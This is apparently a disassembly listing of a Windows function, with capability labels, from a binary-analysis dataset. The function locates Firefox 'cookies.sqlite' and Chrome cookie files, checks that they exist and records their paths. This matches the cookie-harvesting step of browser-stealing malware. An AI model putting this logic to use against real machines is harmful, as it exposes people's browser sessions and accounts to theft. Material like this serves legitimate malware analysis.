Function at 0x53b650
Capabilities:
Enumerate files on windows
Get file attributes

Disassembly:
push 0xffffffffffffffff
push 0x60b75f
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x6b4
push ebx
push ebp
xor ebp, ebp
push esi
push edi
mov dword [esp + 0x14], ebp
mov dword [esp + 0x1c], ebp
mov word [esp + 0x18], bp
mov eax, dword [esp + 0x6d4]
mov dword [esp + 0x6cc], ebp
cmp eax, ebp
je 0x53baae
cmp dword [0x6d1688], ebp
je 0x53b6ac
mov dword [esp + 0x6cc], 0xffffffff
jmp 0x53bd4d
lea eax, [esp + 0x64]
push eax
call fcn.0053b5a0
add esp, 4
test eax, eax
jne 0x53b6d8
lea ecx, [esp + 0x14]
mov dword [esp + 0x6cc], 0xffffffff
call fcn.00401070
xor eax, eax
jmp 0x53bd5b
lea ecx, [esp + 0x64]
mov byte [esp + 0x13], 0
push ecx
call fcn.005c7292
xor ecx, ecx
add esp, 4
dec eax
mov dword [esp + 0x24], ecx
mov dword [esp + 0x2c], ebp
mov word [esp + 0x28], bp
cmp word [esp + eax*2 + 0x64], 0x5c
lea ebx, [esp + eax*2 + 0x64]
mov byte [esp + 0x6cc], 1
mov dword [esp + 0x3c], ebx
mov esi, 0x6d0abc
je 0x53b71c
mov esi, 0x6a2080
mov edx, str._s_sMozillaFirefoxProfiles
test edx, edx
je 0x53b84c
lea eax, [esp + 0x64]
test eax, eax
je 0x53b84c
cmp esi, ebp
je 0x53b84c
push edx
lea ecx, [esp + 0x34]
call fcn.00401fd0
lea ecx, [esp + 0x64]
mov bl, 2
push ecx
lea ecx, [esp + 0x50]
mov byte [esp + 0x6d0], bl
call fcn.0040d7a0
push esi
lea ecx, [esp + 0x44]
mov byte [esp + 0x6d0], 3
call fcn.0040d7a0
lea ecx, [esp + 0x24]
mov byte [esp + 0x6cc], 4
call fcn.00401070
mov edi, dword [esp + 0x4c]
cmp edi, ebp
jne 0x53b78d
lea edi, [esp + 0x50]
mov esi, dword [esp + 0x38]
lea ecx, [esp + 0x40]
call fcn.00402050
push eax
call fcn.005c7292
push edi
mov ebp, eax
call fcn.005c7292
add esi, ebp
lea esi, [eax + esi + 3]
lea ebp, [esi + esi]
push ebp
call fcn.005dfcbc
mov edi, eax
add esp, 0xc
test edi, edi
mov dword [esp + 0x24], edi
je 0x53b810
mov ecx, ebp
xor eax, eax
mov edx, ecx
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, edx
and ecx, 3
rep stosb byte es:[edi], al
lea ecx, [esp + 0x40]
call fcn.00402050
push eax
lea ecx, [esp + 0x50]
call fcn.00402050
push eax
lea ecx, [esp + 0x38]
call fcn.00402050
push eax
mov eax, dword [esp + 0x30]
push esi
push eax
call fcn.005c7222
mov ecx, dword [esp + 0x38]
push ecx
call fcn.005c7292
add esp, 0x18
mov dword [esp + 0x2c], eax
lea ecx, [esp + 0x40]
mov byte [esp + 0x6cc], 3
call fcn.00401070
lea ecx, [esp + 0x4c]
mov byte [esp + 0x6cc], bl
call fcn.00401070
lea ecx, [esp + 0x30]
mov byte [esp + 0x6cc], 1
call fcn.00401070
mov ecx, dword [esp + 0x24]
mov ebx, dword [esp + 0x3c]
xor ebp, ebp
cmp ecx, ebp
jne 0x53b854
lea ecx, [esp + 0x28]
lea edx, [esp + 0x26c]
push edx
push ecx
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov edi, eax
cmp edi, 0xffffffff
mov dword [esp + 0x3c], edi
je 0x53ba6c
mov esi, dword [sym.imp.KERNEL32.dll_FindNextFileW]
lea eax, [esp + 0x298]
push 0x6a2e08
push eax
call fcn.005c779f
add esp, 8
test eax, eax
je 0x53b8aa
lea ecx, [esp + 0x298]
push 0x6a2e00
push ecx
call fcn.005c779f
add esp, 8
test eax, eax
jne 0x53b8bf
lea edx, [esp + 0x26c]
push edx
push edi
call esi
test eax, eax
je 0x53ba5d
jmp 0x53b878
cmp word [ebx], 0x5c
mov esi, 0x6d0abc
je 0x53b8cf
mov esi, 0x6a2080
mov eax, str._s_sMozillaFirefoxProfiles_scookies.sqlite
test eax, eax
je 0x53ba58
lea ecx, [esp + 0x64]
test ecx, ecx
je 0x53ba58
cmp esi, ebp
je 0x53ba58
lea edx, [esp + 0x298]
test edx, edx
je 0x53ba58
lea eax, [esp + 0x64]
lea ecx, [esp + 0x58]
push eax
call fcn.0040d7a0
push esi
lea ecx, [esp + 0x50]
mov byte [esp + 0x6d0], 5
call fcn.0040d7a0
lea ecx, [esp + 0x298]
mov byte [esp + 0x6cc], 6
push ecx
lea ecx, [esp + 0x44]
call fcn.0040d7a0
mov bl, 7
lea ecx, [esp + 0x14]
mov byte [esp + 0x6cc], bl
call fcn.00401070
push str._s_sMozillaFirefoxProfiles_scookies.sqlite
lea ecx, [esp + 0x34]
call fcn.00401fd0
mov esi, dword [esp + 0x38]
lea ecx, [esp + 0x40]
mov byte [esp + 0x6cc], 8
call fcn.00402050
push eax
call fcn.005c7292
add esp, 4
lea ecx, [esp + 0x4c]
mov edi, eax
call fcn.00402050
push eax
call fcn.005c7292
mov ebp, eax
add esp, 4
lea ecx, [esp + 0x58]
add ebp, esi
call fcn.00402050
push eax
call fcn.005c7292
add ebp, edi
lea esi, [eax + ebp + 4]
lea ebp, [esi + esi]
push ebp
call fcn.005dfcbc
mov edi, eax
add esp, 8
test edi, edi
mov dword [esp + 0x14], edi
je 0x53ba0f
mov ecx, ebp
xor eax, eax
mov edx, ecx
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, edx
and ecx, 3
rep stosb byte es:[edi], al
lea ecx, [esp + 0x40]
call fcn.00402050
push eax
lea ecx, [esp + 0x50]
call fcn.00402050
push eax
lea ecx, [esp + 0x60]
call fcn.00402050
push eax
lea ecx, [esp + 0x3c]
call fcn.00402050
push eax
mov eax, dword [esp + 0x24]
push esi
push eax
call fcn.005c7222
mov ecx, dword [esp + 0x2c]
push ecx
call fcn.005c7292
add esp, 0x1c
mov dword [esp + 0x1c], eax
lea ecx, [esp + 0x30]
mov byte [esp + 0x6cc], bl
call fcn.00401070
lea ecx, [esp + 0x40]
mov byte [esp + 0x6cc], 6
call fcn.00401070
lea ecx, [esp + 0x4c]
mov byte [esp + 0x6cc], 5
call fcn.00401070
lea ecx, [esp + 0x58]
mov byte [esp + 0x6cc], 1
call fcn.00401070
mov edi, dword [esp + 0x3c]
xor ebp, ebp
mov byte [esp + 0x13], 1
push edi
call dword [sym.imp.KERNEL32.dll_FindClose]
mov al, byte [esp + 0x13]
test al, al
jne 0x53ba98
lea ecx, [esp + 0x24]
mov byte [esp + 0x6cc], 0
call fcn.00401070
lea ecx, [esp + 0x14]
mov dword [esp + 0x6cc], 0xffffffff
call fcn.00401070
xor eax, eax
jmp 0x53bd5b
lea ecx, [esp + 0x24]
mov byte [esp + 0x6cc], 0
call fcn.00401070
jmp 0x53bc49
cmp dword [0x6d168c], ebp
je 0x53bac6
mov dword [esp + 0x6cc], 0xffffffff
jmp 0x53bd4d
lea edx, [esp + 0x4bc]
push edx
call fcn.0040d2d0
add esp, 4
test eax, eax
jne 0x53baf5
lea ecx, [esp + 0x14]
mov dword [esp + 0x6cc], 0xffffffff
call fcn.00401070
xor eax, eax
jmp 0x53bd5b
lea eax, [esp + 0x4bc]
push eax
call fcn.005c7292
add esp, 4
dec eax
mov esi, 0x6d0abc
cmp word [esp + eax*2 + 0x4bc], 0x5c
je 0x53bb1b
mov esi, 0x6a2080
mov ecx, str._s_sGoogleChromeUser_DataDefaultcookies
test ecx, ecx
je 0x53bc49
lea edx, [esp + 0x4bc]
test edx, edx
je 0x53bc49
cmp esi, ebp
je 0x53bc49
push ecx
lea ecx, [esp + 0x44]
call fcn.00401fd0
lea eax, [esp + 0x4bc]
lea ecx, [esp + 0x30]
push eax
mov byte [esp + 0x6d0], 9
call fcn.0040d7a0
mov bl, 0xa
push esi
lea ecx, [esp + 0x5c]
mov byte [esp + 0x6d0], bl
call fcn.0040d7a0
lea ecx, [esp + 0x14]
mov byte [esp + 0x6cc], 0xb
call fcn.00401070
mov esi, dword [esp + 0x48]
lea ecx, [esp + 0x58]
call fcn.00402050
push eax
call fcn.005c7292
add esp, 4
lea ecx, [esp + 0x30]
mov edi, eax
call fcn.00402050
push eax
call fcn.005c7292
add esi, edi
lea esi, [eax + esi + 3]
lea ebp, [esi + esi]
push ebp
call fcn.005dfcbc
mov edi, eax
add esp, 8
test edi, edi
mov dword [esp + 0x14], edi
je 0x53bc15
mov ecx, ebp
xor eax, eax
mov edx, ecx
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, edx
and ecx, 3
rep stosb byte es:[edi], al
lea ecx, [esp + 0x58]
call fcn.00402050
push eax
lea ecx, [esp + 0x34]
call fcn.00402050
push eax
lea ecx, [esp + 0x48]
call fcn.00402050
push eax
mov eax, dword [esp + 0x20]
push esi
push eax
call fcn.005c7222
mov ecx, dword [esp + 0x28]
push ecx
call fcn.005c7292
add esp, 0x18
mov dword [esp + 0x1c], eax
lea ecx, [esp + 0x58]
mov byte [esp + 0x6cc], bl
call fcn.00401070
lea ecx, [esp + 0x30]
mov byte [esp + 0x6cc], 9
call fcn.00401070
lea ecx, [esp + 0x40]
mov byte [esp + 0x6cc], 0
call fcn.00401070
xor ebp, ebp
mov edx, dword [0x6cc564]
mov dword [esp + 0x20], edx
mov eax, dword [esp + 0x14]
mov byte [esp + 0x6cc], 0xc
cmp eax, ebp
jne 0x53bc67
lea eax, [esp + 0x18]
mov edi, dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
push ebp
push ebp
push ebp
or ebx, 0xffffffff
push ebp
push ebx
push eax
push ebp
push 0xfde9
call edi
mov esi, eax
cmp esi, ebp
jle 0x53bcc3
push esi
lea ecx, [esp + 0x24]
call fcn.005e3c86
mov ecx, dword [esp + 0x14]
cmp ecx, ebp
jne 0x53bc9a
lea ecx, [esp + 0x18]
push ebp
push ebp
push esi
push eax
push ebx
push ecx
push ebp
push 0xfde9
call edi
test eax, eax
je 0x53bcc3
mov eax, dword [esp + 0x14]
cmp eax, ebp
jne 0x53bcb8
lea eax, [esp + 0x18]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, ebx
jne 0x53bce8
lea ecx, [esp + 0x20]
mov byte [esp + 0x6cc], 0
call fcn.005e38b9
lea ecx, [esp + 0x14]
mov dword [esp + 0x6cc], ebx
call fcn.00401070
xor eax, eax
jmp 0x53bd5b
cmp dword [esp + 0x6d4], ebp
je 0x53bd14
mov eax, dword [esp + 0x20]
push eax
push 0x6a1fe8
push 0x6d1660
call fcn.005dc6eb
add esp, 0xc
mov dword [0x6d1688], 1
jmp 0x53bd35
mov ecx, dword [esp + 0x20]
push ecx
push 0x6a1fe8
push 0x6d165c
call fcn.005dc6eb
add esp, 0xc
mov dword [0x6d168c], 1
lea ecx, [esp + 0x20]
mov byte [esp + 0x6cc], 0
call fcn.005e38b9
mov dword [esp + 0x6cc], ebx
lea ecx, [esp + 0x14]
call fcn.00401070
mov eax, 1
mov ecx, dword [esp + 0x6c4]
pop edi
pop esi
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x6c0
ret